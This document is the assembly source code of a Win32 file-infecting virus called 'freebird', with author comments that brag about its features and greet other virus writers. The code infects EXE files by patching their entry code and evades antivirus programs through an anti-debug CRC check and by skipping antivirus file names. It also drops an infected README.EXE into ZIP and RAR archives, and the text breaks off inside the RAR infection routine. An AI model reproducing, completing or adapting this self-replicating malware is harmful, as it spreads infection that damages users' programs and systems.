;
; freebird
; Coded by Bumblebee
;
; This is the source code of a VIRUS. The author is in no way
; responsabile of any damage that may occur due its usage.
;
; Some comments:
;
; That's a win32 per-process resident and direct action EPO virus.
;
; It infects only files that have any import from kernel32.dll module
; because this import is used to retrieve k32 address (and needed API).
; It requires API to go back host (restore patched bytes into host code
; section). It won't modify the EP in the PE header, instead patches the
; host code inserting a jmp to the virus. Is not the ultimate EPO but
; works and it's very easy to code, better than nothing :)
;
; It updates the PE checksum of infected PE files using imagehlp.dll
; API. If this API is not available, it still infects (checksum is zero).
;
; It does self integrity check with CRC32. That's a simple but effective
; anti-debug trick and keeps virus pretty safe of hex hacking.
;
; Uses size padding as infection sign.
;
; It won't infect most of av soft looking for the usual stringz in the
; name of the disposable victim (AV, DR, SP, F-, AN, VE, CL, ON).
;
; Has a run-time part that will affect win32 PE files with EXE ext into
; current and windows folders. It skips system protected files (SFC).
; Infecting files into windows folder helps the virus to spread with the
; simple direct action schema. If that fails (due system protected files),
; then the per-process part is there.
;
; It uses kinda mutexes to avoid overload the system with the run-time
; part. Due it uses shared memory by name as mutex, the name is random
; from serial number of c:\ drive and results from CPUID instruction ;)
;
; That name is used to uncompress a dropper and infect it. This file
; will be added to ZIP/RAR archives found in current folder. It will
; skip archives where 1st item is README.EXE (to avoid re-infection).
; It inserts the droper at the begining of the archives instead of
; appending the infected file to the end. Archive infection is a bit
; unoptimized O:) but quite clear to understand it.
;
; Per-process residence is performed as explained in an article released
; in this e-zine. I hook to check for directory changes: PostQuitMessage
; from USER32.DLL.
;
; It will get the needed API using GetProcAddress. And uses SEH to
; avoid crash, it hangs the process when a fatal error occurs (eg. if
; it cannot get the APIs to patch host code, it won't be able to go
; back host). At least won't appear an screen of death ;)
;
; Well, it's a neat virus. That was funny to code, even most parts are
; quite standard. I think that's the 2nd time i don't use crc32 for
; imports (the first one was win95.bumble, my 1st win appender), and is
; just due i was bored of the same crc32 code ever, and 2 facts:
; av stop study of viruses and... who cares with virus size? ;)
;
; I've developed it under win2k and tested under win98. That means it runs
; under windows 2000 without any problem (i cannot say the same about my
; previous 'win32' stuff). You only will notice it if thou get infected under
; such system ;)
;
; Finally i must say i'm in love with NASM, mainly due i have only this
; asm installed (fuck, and it fits in a single floppy: NASM+ALINK+DOCS+LIBS).
;
; Yes, it's Freebird from Lynard Skynard song. Oh Lord, I can't change ;)
; Try to find this song and listen it reading this lame source and, at least
; and may be not at last, you'll listen good music.
;
; That's all. The source code is pretty clear, but we're living bad times
; for the vx. May be this bug is only interesting for a small group of vxers:
; those that are experienced but still can learn something from the bee.
;
; I'm not used to greet ppl, but since i'm lost in combat... here follow
; some:
;
;       Perikles: I miss you, i'll try to met you more often (use fweeder
;                 damnit, don't be afraid of vb huehe)
;         Ratter: Seems now i'm newbie at your side... keep on rocking man
;          Xezaw: We need young blood here... Metele canya pedacho gay!
;    VirusBuster: Too much marulo arround here, uhm XD
; Mental Driller: You're the master, don't fool saying is matter of time
;          Super: Looking forward to see that .NET shit, and your ring0 tute?
;            TCP: Congratulations (he got married?)
;          Vecna: Hey favelado, te veo flojo. Para cuando el fin del mundo?
;         29Aers: You're all alone...
;
; And big cheers to other ppl i used to talk to and now i cannot due i'm
; in the shadows: Yello, Clau, f0re, Zert, Slow, soyuz, TheVoid, Sheroc,
; Tokugawa, Evul, Gigabyte, Wintermute, Malware (where are you?), Griyo,
; Roadkill, Black Jack, star0, Rajaat, ... i cannot remember you, sorry =]
;
;
; If you wanna contact with me, ask someone that can find me.
;
; - main.asm BOF -

[extern ExitProcess]

[segment .text]
[global main]
main:
        lea     esi,[fakeHost]                  ; setup fake 1st gen
        lea     edi,[epobuffTMP]
        mov     ecx,5
        rep     movsb

        lea     edx,[fake_import]
        mov     [__imp__],edx

        mov     eax,400000h
        mov     [baseAddr],eax                  ; def base addr

        lea     esi,[vBegin]
        mov     edi,vSize-4
        call    CRC32
        mov     [myCRC32],eax

        jmp     ventry

fake_import     dd      077e80000h              ; developed under win2k

;
; Since win doesn't implement code protection (via segment, thus under intel
; arch the only way to do it coz pages don't have code/data attrib), that's
; a nice way to 1st gen without external PE patcher.
;
[segment .data]

ventry:
vBegin  equ     $

        push    eax                             ; room for ret addr
        pushad
        pushfd

        call    getDelta

        lea     esi,[vBegin+ebp]
        mov     edi,vSize-4
        call    CRC32                           ; integrity check
        mov     ecx,[myCRC32+ebp]
        sub     ecx,eax
        jecxz   mycrc32ok
        jmp     $
mycrc32ok:

        lea     edi,[startUp+ebp]               ; setup return
        lea     esi,[infectTMP+ebp]             ; stuff saved in
        add     ecx,infectTMPlen                ; infection with anti-debug
        rep     movsb                           ; (ecx must be zero at this
                                                ; point)

        mov     edx,12345678h
__imp__         equ $-4
        mov     esi,[reloc+ebp]
        lea     eax,[vBegin+ebp]
        sub     esi,eax                         ; this virus supports relocs

        add     [baseAddr+ebp],esi              ; fix base addr (reloc)
        add     [hostEP+ebp],esi                ; fix host entry point

        add     edx,esi                         ; use import to find
        mov     edx,[edx]                       ; k32 base address

        xor     eax,eax
        call    seh
        jmp     $                               ; if we're not able to
                                                ; locate k32 we cannot
                                                ; get APIs and jmp back
                                                ; host is not possible
;
; Some stringz for the avers
;
        db      "[ FREEBIRD: I make birds of mud and I throw them to fly ]"
seh:
        push    dword [fs:eax]
        mov     dword [fs:eax],esp

        and     edx,0fffff000h                  ; simple k32 scan
        add     edx,1000h
findK32BaseAddrLoop:
        sub     edx,1000h
        cmp     word [edx],'MZ'
        jne     findK32BaseAddrLoop
        movzx   eax,word [edx+3ch]
        cmp     edx,dword [eax+edx+34h]
        jne     findK32BaseAddrLoop

        mov     [kerneldll+ebp],edx

        xor     eax,eax                         ; remove SEH frame
        pop     dword [fs:eax]
        pop     eax

scanKerneldll:
        mov     ebx,12345678h                   ; get GetProcAddress
kerneldll       equ $-4
        mov     edi,ebx
        mov     esi,edi
        add     esi,3ch
        lodsd
        add     eax,edi
        xchg    eax,esi
        mov     esi,dword [esi+78h]
        add     esi,ebx
        add     esi,1ch
        lodsd

        add     eax,edi
        mov     [address+ebp],eax
        lodsd
        add     eax,edi
        mov     [names+ebp],eax
        lodsd
        add     eax,edi
        mov     [ordinals+ebp],eax

        xor     edx,edx
        lea     esi,[GetProcAddress+ebp]
        mov     ecx,GetProcAddresslen
searchl:
        push    ecx
        push    esi
        mov     edi,[names+ebp]
        add     edi,edx
        mov     edi,[edi]
        add     edi,ebx
        rep     cmpsb
        je      fFound
        add     edx,4
        pop     esi
        pop     ecx
        jmp     searchl
fFound:
        pop     esi
        pop     ecx
        shr     edx,1
        add     edx,[ordinals+ebp]
        movzx   ebx,word [edx]
        shl     ebx,2
        add     ebx,[address+ebp]
        mov     ecx,[ebx]
        add     ecx,[kerneldll+ebp]

getAPI:
        mov     [_GetProcAddress+ebp],ecx

        lea     esi,[API0+ebp]                  ; now get APIs
getAPILoop:
        push    esi
        xor     eax,eax
        lodsb
        push    eax
        add     esi,4

        push    esi
        push    dword [kerneldll+ebp]
        call    dword [_GetProcAddress+ebp]

        pop     ecx
        pop     esi
        mov     [esi+1],eax
        add     esi,ecx
        jecxz   getAPILoopDone
        jmp     getAPILoop
getAPILoopDone:

        xor     eax,eax
        push    eax
        push    eax
        push    eax
        push    eax
        lea     esi,[serialNum+ebp]
        push    esi
        mov     [esi],eax                       ; fix string
        push    eax
        push    eax
        lea     esi,[drive+ebp]
        push    esi
        call    dword [_GetVolumeInformationA+ebp] ; get serial number of
        or      eax,eax                            ; c: drive
        jnz     randomOk

        mov     dword [serialNum+ebp],12345678h ; that's not random!
randomOk:

        xor     eax,eax
        inc     eax
        cpuid                                   ; mutex depends on CPU

        or      eax,edx
        xor     dword [serialNum+ebp],eax       ; fuck you avers! hueheh
                                                ; random? XD

        and     dword [serialNum+ebp],0f0f0f0fh ; build rnd string
        or      dword [serialNum+ebp],"aaaa"

        ; why that pseudo random? we don't want the avers create
        ; their artificial mutex to fool the virus, do we?

        ; check our mutex to avoid overload the system with
        ; several instances of the virus infecting arround
        ; all at the same time...
        xor     eax,eax
        lea     esi,[serialNum+ebp]
        push    esi
        push    dword 1024
        push    eax
        push    dword 4
        push    eax
        dec     eax
        push    eax
        call    dword [_CreateFileMappingA+ebp]
        or      eax,eax
        jz      near failedToLoadDll

        mov     [mutexHnd+ebp],eax

        call    dword [_GetLastError+ebp]       ; already there?
        cmp     eax,0b7h
        je      near closeMutex
        
        lea     esi,[imagehlpdll+ebp]           ; load imagehlp dll
        push    esi
        call    dword [_LoadLibraryA+ebp]
        or      eax,eax
        jz      near closeMutex

        mov     [_imagehlpdll+ebp],eax

        lea     esi,[CheckSumMappedFile+ebp]    ; get API for PE checksum
        push    esi
        push    eax
        call    dword [_GetProcAddress+ebp]

        mov     [_CheckSumMappedFile+ebp],eax

        lea     esi,[sfcdll+ebp]                ; load sfc dll
        push    esi
        call    dword [_LoadLibraryA+ebp]

        mov     [_sfcdll+ebp],eax

        or      eax,eax
        jz      near noSfc

        lea     esi,[SfcIsFileProtected+ebp]    ; get API to avoid sfc
        push    esi
        push    eax
        call    dword [_GetProcAddress+ebp]

noSfc:
        mov     [_SfcIsFileProtected+ebp],eax


        ; hey bumble, remember that must be before any infection!
        call    setupPerProcess                 ; setup per-process
                                                ; hooks

        ; now the run-time part

        lea     esi,[path0+ebp]
        push    esi
        push    dword 260
        call    dword [_GetCurrentDirectoryA+ebp]
        or      eax,eax
        jz      endRuntimePart

        push    dword 260
        lea     esi,[path1+ebp]
        push    esi
        call    dword [_GetWindowsDirectoryA+ebp]
        or      eax,eax
        jz      endRuntimePart

        mov     ecx,eax                         ; if we're yet into
        lea     esi,[path0+ebp]                 ; windows folder, avoid
        lea     edi,[path1+ebp]                 ; infect more files
        rep     cmpsb
        je      endRuntimePart

        call    scandirpe                       ; infect current folder

        lea     esi,[path1+ebp]
        push    esi
        call    dword [_SetCurrentDirectoryA+ebp]
        or      eax,eax
        jz      endRuntimePart

        call    scandirpe                       ; affect windows folder

        lea     esi,[path0+ebp]                 ; go back home
        push    esi
        call    dword [_SetCurrentDirectoryA+ebp]
        
        call    findArchives                    ; self explanatory XD

endRuntimePart:
        mov     eax,[_sfcdll+ebp]               ; free it only if loaded
        or      eax,eax                         ; (of coz hehe)
        jz      sfcNotLoaded

        push    dword [_sfcdll+ebp]
        call    dword [_FreeLibrary+ebp]

sfcNotLoaded:
        push    dword [_imagehlpdll+ebp]        ; good guys release the dlls
        call    dword [_FreeLibrary+ebp]

closeMutex:
        push    dword [mutexHnd+ebp]            ; close the 'mutex'
        call    dword [_CloseHandle+ebp]

failedToLoadDll:
        mov     esi,[hostEP+ebp]
        mov     [esp+24h],esi                   ; put ret addr

        call    dword [_GetCurrentProcess+ebp]  ; patch our process

        lea     edx,[padding+ebp]
        push    edx
        push    dword 5
        sub     edx,-4
        push    edx
        push    dword [hostEP+ebp]
        push    eax
        call    dword [_WriteProcessMemory+ebp]
        or      eax,eax
        jz      $                               ; well... hehehe
                                                ; in fact it failed :P

        ; code modified by epo is restored
        ; just fly away

        popfd
        popad
        ret

; get variables displacement
getDelta:
        call    _getDelta
_getDelta:
        pop     ebp
        sub     ebp,_getDelta
        ret

; does crc32 for self integrity check
CRC32:
        cld
    	xor     ecx,ecx
    	dec     ecx
        mov     edx,ecx
        push    ebx
NextByteCRC:
        xor     eax,eax
        xor     ebx,ebx
        lodsb
        xor     al,cl
        mov     cl,ch
        mov     ch,dl
        mov     dl,dh
        mov     dh,8
NextBitCRC:
        shr     bx,1
        rcr     ax,1
        jnc     NoCRC
        xor     ax,08320h
        xor     bx,0EDB8h
NoCRC:
        dec     dh
        jnz     NextBitCRC
        xor     ecx,eax
        xor     edx,ebx
        dec     edi
        jnz     NextByteCRC
        pop     ebx
        not     edx
        not     ecx
        mov     eax,edx
        rol     eax,16
        mov     ax,cx
        ret

%include "infectpe.inc"
%include "findf.inc"
%include "hooks.inc"
%include "archive.inc"

; our import table
API0                    db      API1-API0
_GetFileAttributesA     dd      0
GetFileAttributesAstr   db      "GetFileAttributesA",0
API1                    db      API2-API1
_SetFileAttributesA     dd      0
SetFileAttributesAstr   db      "SetFileAttributesA",0
API2                    db      API3-API2
_CreateFileA            dd      0
CreateFileAstr          db      "CreateFileA",0
API3                    db      API4-API3
_GetFileSize            dd      0
GetFileSizestr          db      "GetFileSize",0
API4                    db      API5-API4
_GetFileTime            dd      0
GetFileTimestr          db      "GetFileTime",0
API5                    db      API6-API5
_CreateFileMappingA     dd      0
CreateFileMappingAstr   db      "CreateFileMappingA",0
API6                    db      API7-API6
_MapViewOfFile          dd      0
MapViewOfFilestr        db      "MapViewOfFile",0
API7                    db      API8-API7
_UnmapViewOfFile        dd      0
UnmapViewOfFilestr      db      "UnmapViewOfFile",0
API8                    db      API9-API8
_CloseHandle            dd      0
CloseHandlestr          db      "CloseHandle",0
API9                    db      APIa-API9
_SetFileTime            dd      0
SetFileTimestr          db      "SetFileTime",0
APIa                    db      APIb-APIa
_GetCurrentProcess      dd      0
GetCurrentProcessstr    db      "GetCurrentProcess",0
APIb                    db      APIc-APIb
_WriteProcessMemory     dd      0
WriteProcessMemorystr   db      "WriteProcessMemory",0
APIc                    db      APId-APIc
_LoadLibraryA           dd      0
LoadLibraryAstr         db      "LoadLibraryA",0
APId                    db      APIe-APId
_FreeLibrary            dd      0
FreeLibrarystr          db      "FreeLibrary",0
APIe                    db      APIf-APIe
_FindFirstFileA         dd      0
FindFirstFileAstr       db      "FindFirstFileA",0
APIf                    db      API10-APIf
_FindNextFileA          dd      0
FindNextFileAstr        db      "FindNextFileA",0
API10                   db      API11-API10
_FindClose              dd      0
FindClosestr            db      "FindClose",0
API11                   db      API12-API11
_SetCurrentDirectoryA   dd      0
SetCurrentDirectoryAstr db      "SetCurrentDirectoryA",0
API12                   db      API13-API12
_GetCurrentDirectoryA   dd      0
GetCurrentDirectoryAstr db      "GetCurrentDirectoryA",0
API13                   db      API14-API13
_GetWindowsDirectoryA   dd      0
GetWindowsDirectoryAstr db      "GetWindowsDirectoryA",0
API14                   db      API15-API14
_GetLastError           dd      0
GetLastErrorstr         db      "GetLastError",0
API15                   db      API16-API15
_GetVolumeInformationA  dd      0
GetVolumeInformationAs  db      "GetVolumeInformationA",0
API16                   db      API17-API16
_MultiByteToWideChar    dd      0
MultiByteToWideChars    db      "MultiByteToWideChar",0
API17                   db      API18-API17
_GetFullPathNameW       dd      0
GetFullPathNameWs       db      "GetFullPathNameW",0
API18                   db      0
_WriteFile              dd      0
WriteFiles              db      "WriteFile",0


GetProcAddress          db      "GetProcAddress",0
GetProcAddresslen       equ     $-GetProcAddress
_GetProcAddress         dd      0

_sfcdll                 dd      0
sfcdll                  db      "SFC",0
_SfcIsFileProtected     dd      0
SfcIsFileProtected      db      "SfcIsFileProtected",0

_imagehlpdll            dd      0
imagehlpdll             db      "IMAGEHLP",0
_CheckSumMappedFile     dd      0
CheckSumMappedFile      db      "CheckSumMappedFile",0


fmask:                  db      "*.EXE",0

dropName:
drive                   db      'c:\'           ; for getvolume
serialNum               db      0,0,0,0,0

baseAddr                dd      0

; Generated RLE compressed data
drop	db 005h,04dh,05ah,06ch,000h,001h,083h,000h,004h,004h
	db 000h,011h,000h,082h,0ffh,001h,003h,082h,000h,001h
	db 001h,086h,000h,001h,040h,0a3h,000h,001h,070h,083h
	db 000h,02ch,00eh,01fh,0bah,00eh,000h,0b4h,009h,0cdh
	db 021h,0b8h,000h,04ch,0cdh,021h,054h,068h,069h,073h
	db 020h,070h,072h,06fh,067h,072h,061h,06dh,020h,072h
	db 065h,071h,075h,069h,072h,065h,073h,020h,057h,069h
	db 06eh,033h,032h,00dh,00ah,024h,084h,000h,002h,050h
	db 045h,082h,000h,008h,04ch,001h,004h,000h,07ah,0e2h
	db 064h,03dh,088h,000h,006h,0e0h,000h,002h,001h,00bh
	db 001h,08fh,000h,001h,010h,08ch,000h,001h,040h,082h
	db 000h,001h,010h,083h,000h,001h,002h,082h,000h,001h
	db 001h,087h,000h,001h,004h,088h,000h,001h,050h,083h
	db 000h,001h,004h,086h,000h,001h,002h,085h,000h,001h
	db 010h,082h,000h,001h,010h,084h,000h,001h,010h,082h
	db 000h,001h,010h,086h,000h,001h,010h,08ch,000h,001h
	db 030h,082h,000h,001h,056h,09ch,000h,001h,040h,082h
	db 000h,001h,00ah,0d3h,000h,005h,02eh,074h,065h,078h
	db 074h,084h,000h,001h,010h,083h,000h,001h,010h,082h
	db 000h,001h,006h,084h,000h,001h,004h,08eh,000h,001h
	db 020h,082h,000h,008h,060h,049h,04dh,050h,04fh,052h
	db 054h,053h,082h,000h,001h,010h,083h,000h,001h,020h
	db 082h,000h,001h,006h,084h,000h,001h,006h,08eh,000h
	db 001h,060h,082h,000h,008h,060h,069h,06dh,070h,06fh
	db 072h,074h,073h,082h,000h,001h,010h,083h,000h,001h
	db 030h,082h,000h,001h,056h,084h,000h,001h,008h,08eh
	db 000h,001h,040h,082h,000h,007h,050h,072h,065h,06ch
	db 06fh,063h,073h,083h,000h,001h,010h,083h,000h,001h
	db 040h,082h,000h,001h,00ah,084h,000h,001h,00ah,08eh
	db 000h,001h,040h,082h,000h,001h,052h,0ffh,000h,0ffh
	db 000h,0ffh,000h,0fbh,000h,004h,050h,0e8h,0fah,00fh
	db 0ffh,000h,0ffh,000h,0ffh,000h,0ffh,000h,005h,0ffh
	db 025h,040h,030h,040h,0ffh,000h,0ffh,000h,0ffh,000h
	db 0feh,000h,002h,038h,030h,08ah,000h,002h,028h,030h
	db 082h,000h,002h,040h,030h,096h,000h,00ah,06bh,065h
	db 072h,06eh,065h,06ch,033h,032h,02eh,064h,082h,06ch
	db 084h,000h,002h,048h,030h,086h,000h,002h,048h,030h
	db 088h,000h,009h,045h,078h,069h,074h,050h,072h,06fh
	db 063h,065h,082h,073h,0ffh,000h,0ffh,000h,0ffh,000h
	db 0afh,000h,001h,020h,082h,000h,001h,00ah,083h,000h
        db 002h,002h,030h

; That headers thanks to Int13h (or star0?)
RARHeader:                                      ; Header that we will add
RARHeaderCRC    dw 0                            ; We'll fill: CRC of header
RARType         db 074h                         ; File Header
RARFlags        dw 8000h
RARHeadsize     dw FinRARHeader-RARHeader
RARCompressed   dd 0                            ; Compressed and Original
RAROriginal     dd 0                            ; size are the same, we stored
RAROs           db 0                            ; OS: 0 ms-dos?
RARCrc32        dd 0                            ; We must fill this field
RARFileTime     db 0,0                          ; Time of the program
RARFileDate     db 0,0                          ; Date of the proggy
RARNeedVer      db 014h
RARMethod       db 030h                         ; Method: storing
RARFnameSize    dw FinRARHeader-RARName
RARAttrib       dd 20h                          ; archive
RARName         db "README.EXE"                 ; Name of file to drop
FinRARHeader:

; That header thanks to star0
LocalHeader:

ZIPlogsig:      db 50h,4bh,03,04                ; signature
ZIPver:         dw 0ah                          ; ver need to extract
ZIPgenflag:     dw 0                            ; no particulary flag
ZIPMthd:        dw 0                            ; no compression
ZIPTime:        dw 0                            ; aleatory
ZIPDate:        dw 0                            ; aleatory
ZIPCrc:         dd 0                            ; unknown
ZIPSize:        dd 0                            ; unknown
ZIPUncmp:       dd 0                            ; unknown
ZIPFnln:        dw 10                           ; unknown
ZIPXtraLn:      dw 0                            ; unknown
ZIPfileName:    db "README.EXE"

CentralHeader:

ZIPCenSig:      db 50h,4bh,01,02                ; central signature
ZIPCver:        db 0                            ; ver made by
ZIPCos:         db 0                            ; Host Operating -> All
ZIPCvxt:        db 0                            ; Ver need to extract
ZIPCeXos:       db 0                            ; Ver need to extract.
ZIPCflg:        dw 0                            ; No encryption !
ZIPCmthd:       dw 0                            ; Method : Store it !
ZIPCtim:        dw 0                            ; last mod time
ZIPCDat:        dw 0                            ; last mod date
ZIPCCrc:        dd 0                            ; Crc-32 unknown
ZIPCsiz:        dd 0                            ; Compressed size unknown
ZIPCunc:        dd 0                            ; Uncompressed size unkown
ZIPCfnl:        dw 10                           ; filename length unknown
ZIPCxtl:        dw 0                            ; Extra Field length 0
ZIPCcml:        dw 0                            ; file comment length 0
ZIPDsk:         dw 0                            ; Disk number start (?) 0
ZIPInt:         dw 1                            ; Internal file attribute
ZIPExt:         dd 20h                          ; external file attrib
ZIPOfst:        dd 0                            ; relativeoffset local head
ZIPCfileName:   db "README.EXE"


EndOfCentral:


; used at infection stage
infectTMP:
epobuffTMP              dd      0
                        db      0
hostEPTMP               dd      fakeHost
relocTMP                dd      vBegin
infectTMPlen            equ     $-infectTMP

myCRC32                 dd      0
vEnd    equ     $
vSize   equ     (vEnd-vBegin)

; bss data not included into infected files (that's virtual memory)
path0                  times 260 db 0
path1                  times 260 db 0

dropExp                 times 2570 db 0         ; place to uncompress the
                                                ; dropper

address                 dd      0
names                   dd      0
ordinals                dd      0

mutexHnd                dd      0

finddata:
        dwFileAttributes dd     0
        dwLowDateTime0  dd      0
        dwHigDateTime0  dd      0
        dwLowDateTime1  dd      0
        dwHigDateTime1  dd      0
        dwLowDateTime2  dd      0
        dwHigDateTime2  dd      0
        nFileSizeHigh   dd      0
        nFileSizeLow    dd      0
        dwReserved      dd      0,0
        cFileName       times 260 db 0
        cAlternateFilename times 16 db 0

; for sfc shit
wideBuffer              times   260*2 db 0        ; 260 wide chars
wideBuffer2             times   260*2 db 0
dummy                   dd      0

findHnd                 dd      0
chksum                  dd      0,0
fHnd                    dd      0
mapMem                  dd      0
fhmap                   dd      0
fileTime0               dd      0,0
fileTime1               dd      0,0
fileTime2               dd      0,0
fileAttrib              dd      0
fileSize                dd      0

padding                 dd      0               ; those must be joint
startUp:
epobuff                 dd      0
                        db      0
hostEP                  dd      0
reloc                   dd      0

viEnd    equ    $
viSize   equ    (viEnd-vBegin)

fakeHost:
        push    dword 0
        call    ExitProcess

; - main.asm EOF -
; - archive.inc BOF -

fgenmask        db      "*.*",0

;
; Look for archives to add our virus
;
findArchives:

        call    dropTheVirus                            ; drop the virus

        lea     eax,[finddata+ebp]
        push    eax
        lea     eax,[fgenmask+ebp]
        push    eax
        call    dword [_FindFirstFileA+ebp]
        inc     eax
        jz      near notFoundArchive
        dec     eax

        mov     dword [findHnd+ebp],eax

findNextArchive:
        mov     eax,dword [nFileSizeLow+ebp]            ; avoid small
        cmp     eax,2000h                               ; 8 kbs
        jb      near skipThisArchive
        cmp     eax,400000h*2                           ; avoid huge (top 4 mbs)
        ja      near skipThisArchive

        lea     esi,[cFileName+ebp]

        push    esi
UCaseLoopArc:
        cmp     byte [esi],'a'
        jb      notUCaseArc
        cmp     byte [esi],'z'
        ja      notUCaseArc
        sub     byte [esi],'a'-'A'
notUCaseArc:
        lodsb
        or      al,al
        jnz     UCaseLoopArc

        mov     eax,[esi-5]
        pop     esi

        not     eax
        cmp     eax,~".RAR"
        jne     nextArc0
        call    infectRAR
        jmp     skipThisArchive
nextArc0:
        cmp     eax,~".ZIP"
        jne     nextArc1
        call    infectZIP
        jmp     skipThisArchive
nextArc1:

skipThisArchive:
        lea     eax,[finddata+ebp]
        push    eax
        push    dword [findHnd+ebp]
        call    dword [_FindNextFileA+ebp]
        or      eax,eax
        jnz     near findNextArchive

        push    dword [findHnd+ebp]
        call    dword [_FindClose+ebp]

notFoundArchive:
        ret

; uncompress the dropper and infect it
dropTheVirus:
        xor     ecx,ecx                         ; expand the RLEed
        mov     edx,2570                        ; dropper
        lea     esi,[drop+ebp]
        lea     edi,[dropExp+ebp]
expandLoop:
        test    byte [esi],128
        jnz     expRep
        mov     cl,byte [esi]
        and     cl,127
        sub     edx,ecx
        inc     esi
        rep     movsb
        or      edx,edx
        jnz     expandLoop
        jmp     endExpand
expRep:
        mov     cl,byte [esi]
        inc     esi
        lodsb
        and     cl,127
        sub     edx,ecx
        rep     stosb
        or      edx,edx
        jnz     expandLoop
endExpand:

        xor     eax,eax
        push    eax
        push    dword 00000007h                 ; system, read only and hidden
        push    dword 00000001h
        push    eax
        push    eax
        push    dword 40000000h
        lea     esi,[dropName+ebp]              ; that must be initialized
        push    esi                             ; before use it!
        call    dword [_CreateFileA+ebp]
        inc     eax
        jz      skipDrop
        dec     eax

        push    eax

        push    dword 0
        lea     esi,[dummy+ebp]
        push    esi
        push    dword 2570
        lea     esi,[dropExp+ebp]
        push    esi
        push    eax
        call    dword [_WriteFile+ebp]

        call    dword [_CloseHandle+ebp]

        lea     esi,[dropName+ebp]
        call    infectpe

skipDrop:
        ret

; adds the dropper to a RAR archive pointed by esi
infectRAR:
        push    esi

        push    esi
        call    dword [_GetFileAttributesA+ebp]
        pop     esi
        inc     eax
        jz      near infectionErrorRAR
        dec     eax

        mov     dword [fileAttrib+ebp],eax

        push    esi
        push    dword 80h
        push    esi
        call    dword [_SetFileAttributesA+ebp]
        pop     esi
        or      eax,eax
        jz      near infectionErrorRAR

        push    esi

        xor     eax,eax
        push    eax
        push    dword 80h
        push    dword 3
        push    eax
        push    eax
        push    dword (80000000h | 40000000h)
        push    esi
        call    dword [_CreateFileA+ebp]
        inc     eax
        jz      near infectionErrorAttribRAR
        dec     eax

        mov     [fHnd+ebp],eax

        push    dword 0
        push    eax
        call    dword [_GetFileSize+ebp]
        inc     eax
        jz      near infectionErrorCloseRAR
        dec     eax

        mov     [fileSize+ebp],eax

        lea     eax,[fileTime2+ebp]
        push    eax
        add     eax,-8
        push    eax
        add     eax,-8
        push    eax
        push    dword [fHnd+ebp]
        call    dword [_GetFileTime+ebp]
        or      eax,eax
        jz      near infectionErrorCloseRAR

        xor     eax,eax
        push    eax
        push    eax
        push    eax
        push    dword 4
        push    eax
        push    dword [fHnd+ebp]
        call    dword [_CreateFileMappingA+ebp]
        or      eax,eax
        jz      near infectionErrorCloseRAR

        mov     dword [fhmap+ebp],eax

        xor     eax,eax
        push    eax
        push    eax
        push    eax
        push    dword 6
        push    dword [fhmap+ebp]
        call    dword [_MapViewOfFile+ebp]
        or      eax,eax
        jz      near infectionErrorCloseMapRAR

        mov     [mapMem+ebp],eax

        ; don't rely too much on next part XD
        ; using RAR32 for tests

        mov     edx,[eax]
        not     edx
        cmp     edx,~"Rar!"                     ; a RAR archive?
        jne     near infectionErrorCloseMapRAR

        add     eax,14h                         ; skip main header
        cmp     byte [eax+2],74h                ; a RAR header?
        jne     near infectionErrorCloseMapRAR

        mov     edx,[eax+RARName-RARHeader]     ; check if already
        not     edx                             ; infected
        cmp     edx,~"READ"
        jne     RARNotFound
        mov     edx,[eax+RARName-RARHeader+4]
        not     edx
        cmp     edx,~"ME.E"
        je      near infectionErrorCloseMapRAR
RARNotFound:

        ; The RAR file seems ok and it's not infected

        mov     dx,[eax+RARFileTime-RARHeader]  ; less suspicious
        mov     [RARFileTime+ebp],dx
        mov     dx,[eax+RARFileDate-RARHeader]
        mov     [RARFileDate+ebp],dx
        mov     dl,[eax+RAROs-RARHeader]        ; same os
        mov     [RAROs+ebp],dl

        ; now load our droper

        xor     eax,eax
        push    eax
        push    dword 00000007h
        push    dword 00000003h
        push    eax
        push    eax
        push    dword 80000000h
        lea     esi,[dropName+ebp]              ; our dropper
        push    esi
        call    dword [_CreateFileA+ebp]
        inc     eax
        jz      near infectionErrorCloseMapRAR
        dec     eax

        push    eax
        push    dword 0
        push    eax
        call    dword [_GetFileSize+ebp]
        pop     ebx
        inc     eax
        jz      near infectionErrorCloseMapRAR
        dec     eax
        
        add     [fileSize+ebp],eax              ; new size
        add     dword [fileSize+ebp],FinRARHeader-RARHeader

        mov     [RARCompressed+ebp],eax         ; update RAR header
        mov     [RAROriginal+ebp],eax
        
        push    ebx

        xor     eax,eax
        push    eax
        push    eax
        push    eax
        push    dword 2
        push    eax
        push    ebx
        call    dword [_CreateFileMappingA+ebp]
        pop     ebx
        or      eax,eax
        jz      near infectionErrorCloseMapRAR

        push    ebx
        push    eax
        mov     ebx,eax

        xor     eax,eax
        push    eax
        push    eax
        push    eax
        push    dword 4
        push    ebx
        call    dword [_MapViewOfFile+ebp]
        pop     edx
        pop     ebx
        or      eax,eax
        jz      near infectionErrorCloseMapRAR

        push    ebx     ; file hnd
        push    edx     ; file mapping
        push    eax     ; map view of file

        mov     esi,eax
        mov     edi,[RAROriginal+ebp]
        call    CRC32

        mov     [RARCrc32+ebp],eax

        lea     esi,[RARHeader+2+ebp]
        mov     edi,FinRARHeader-RARHeader-2
        call    CRC32

        mov     [RARHeaderCRC+ebp],ax

        push    dword [mapMem+ebp]
        call    dword [_UnmapViewOfFile+ebp]

        push    dword [fhmap+ebp]
        call    dword [_CloseHandle+ebp]

        pop     dword [wideBuffer+ebp]  ; view of file
        pop     dword [wideBuffer+4+ebp]; file mapping
        pop     dword [wideBuffer+8+ebp]; file handle

        xor     eax,eax
        push    eax
        push    dword [fileSize+ebp]
        push    eax
        push    dword 4
        push    eax
        push    dword [fHnd+ebp]
        call    dword [_CreateFileMappingA+ebp]
        or      eax,eax
        jz      near infectionErrorCloseRAR

        mov     [fhmap+ebp],eax

        xor     eax,eax
        push    dword [fileSize+ebp]
        push    eax
        push    eax
        push    dword 6
        push    dword [fhmap+ebp]
        call    dword [_MapViewOfFile+ebp]
        or      eax,eax
        jz      near infectionErrorCloseMapRAR

        mov     [mapMem+ebp],eax

        mov     edi,eax
        add     edi,[fileSize+ebp]              ; end of file
        mov     esi,eax
        add     esi,14h                         ; begin of data
        add     esi,FinRARHeader-RARHeader      ; plus added size
        add     esi,[RAROriginal+ebp]

        mov     ecx,edi                         ; size of data to move
        sub     ecx,esi

        mov     esi,edi
        sub     esi,FinRARHeader-RARHeader
        sub     esi,[RAROriginal+ebp]

        dec     esi
        dec     edi
moveLoopRAR:                                    ; move the data
        lodsb
        sub     esi,2
        stosb
        sub     edi,2
        dec     ecx
        jnz     moveLoopRAR

        mov     edi,[mapMem+ebp]                ; insert our data
        add     edi,14h
        lea     esi,[RARHeader+ebp]
